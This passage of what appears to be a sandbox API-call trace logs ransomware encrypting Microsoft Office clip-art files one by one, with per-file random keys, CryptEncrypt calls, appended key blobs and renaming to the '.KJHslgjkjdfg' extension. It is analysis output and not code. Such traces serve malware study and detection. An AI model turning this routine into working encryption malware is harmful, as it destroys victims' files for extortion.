lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.303] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.303] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.303] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.303] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.303] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.303] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1574, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1574, lpOverlapped=0x0) returned 1 [0201.304] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1580, dwBufLen=0x1580 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1580) returned 1 [0201.304] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.304] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1580, lpOverlapped=0x0) returned 1 [0201.304] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.304] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.304] SetEndOfFile (hFile=0x130) returned 1 [0201.307] GetProcessHeap () returned 0x2ef0000 [0201.307] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.307] GetProcessHeap () returned 0x2ef0000 [0201.307] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.307] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf.kjhslgjkjdfg")) returned 1 [0201.308] CloseHandle (hObject=0x130) returned 1 [0201.308] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbf4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107730.WMF", cAlternateFileName="")) returned 1 [0201.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.309] GetProcessHeap () returned 0x2ef0000 [0201.309] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.309] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.309] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.309] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0201.311] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.311] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.311] GetProcessHeap () returned 0x2ef0000 [0201.311] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.311] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.311] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.311] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.311] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.311] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.311] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.312] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.312] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.312] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.312] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbf4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xbf4, lpOverlapped=0x0) returned 1 [0201.312] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc00, dwBufLen=0xc00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc00) returned 1 [0201.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.312] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc00, lpOverlapped=0x0) returned 1 [0201.312] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.312] SetEndOfFile (hFile=0x130) returned 1 [0201.314] GetProcessHeap () returned 0x2ef0000 [0201.314] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.314] GetProcessHeap () returned 0x2ef0000 [0201.314] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.314] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf.kjhslgjkjdfg")) returned 1 [0201.315] CloseHandle (hObject=0x130) returned 1 [0201.315] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107734.WMF", cAlternateFileName="")) returned 1 [0201.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.316] GetProcessHeap () returned 0x2ef0000 [0201.316] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.316] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.316] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.316] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0201.319] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.319] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.319] GetProcessHeap () returned 0x2ef0000 [0201.319] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.319] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.319] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.319] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.319] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.319] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.319] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.319] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.320] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.320] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.320] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.320] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc44, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc44, lpOverlapped=0x0) returned 1 [0201.320] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc50, dwBufLen=0xc50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc50) returned 1 [0201.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.320] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc50, lpOverlapped=0x0) returned 1 [0201.320] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.320] SetEndOfFile (hFile=0x130) returned 1 [0201.323] GetProcessHeap () returned 0x2ef0000 [0201.323] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.323] GetProcessHeap () returned 0x2ef0000 [0201.323] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.323] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf.kjhslgjkjdfg")) returned 1 [0201.324] CloseHandle (hObject=0x130) returned 1 [0201.324] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe3c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107742.WMF", cAlternateFileName="")) returned 1 [0201.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.325] GetProcessHeap () returned 0x2ef0000 [0201.325] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.325] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.325] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.325] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.328] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.328] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.328] GetProcessHeap () returned 0x2ef0000 [0201.328] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.328] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.328] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.328] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.328] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.328] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.328] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.328] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.328] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.328] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.328] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.328] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.329] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe3c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xe3c, lpOverlapped=0x0) returned 1 [0201.329] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe40, dwBufLen=0xe40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe40) returned 1 [0201.329] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.329] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xe40, lpOverlapped=0x0) returned 1 [0201.329] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.329] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.329] SetEndOfFile (hFile=0x130) returned 1 [0201.332] GetProcessHeap () returned 0x2ef0000 [0201.332] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.332] GetProcessHeap () returned 0x2ef0000 [0201.332] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.332] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf.kjhslgjkjdfg")) returned 1 [0201.333] CloseHandle (hObject=0x130) returned 1 [0201.333] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107744.WMF", cAlternateFileName="")) returned 1 [0201.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.334] GetProcessHeap () returned 0x2ef0000 [0201.334] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.334] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.335] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.335] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.337] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.337] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.337] GetProcessHeap () returned 0x2ef0000 [0201.337] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.337] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.337] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.337] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.337] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.337] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.337] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.337] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.337] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.337] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.337] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.338] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.338] ReadFile (in: 